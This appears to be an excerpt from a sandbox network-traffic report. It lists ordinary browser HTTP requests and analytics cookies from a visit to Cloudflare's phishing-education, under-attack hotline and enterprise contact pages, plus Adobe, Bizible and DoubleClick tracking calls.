Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=8; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261229; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_t=1729259407873&_biz_i=Website%20Under%20Attack%3F%20%7C%20Get%2024%2F7%20Emergency%20Support%20%7C%20Cloudflare&_biz_n=8&rnd=123818&cdn_o=a&_biz_z=1729259407874 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=4c8d3368-10cb-4ed3-a6b6-527ff47574c3 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=bd48512a-330c-49e2-aa57-3650284d1a98 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=21124e8f-d4c2-43d4-873e-8503c9ba65fd HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/4116 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729259419824&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&_biz_n=9&rnd=725797&cdn_o=a&_biz_z=1729259419825 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259407480\|7\|1\|bat.bing.com/p/insights/c/u; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259408589}; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261273; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/4116 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261273; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526regi
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=2013249048 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1211005316 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=198852645 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1082294278 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259407480\|7\|1\|bat.bing.com/p/insights/c/u; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259408589}; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261273; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=3447e1a2-783c-4c99-b82d-e7fc7cd820a9 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729259419824&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&_biz_n=9&rnd=725797&cdn_o=a&_biz_z=1729259419825 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; 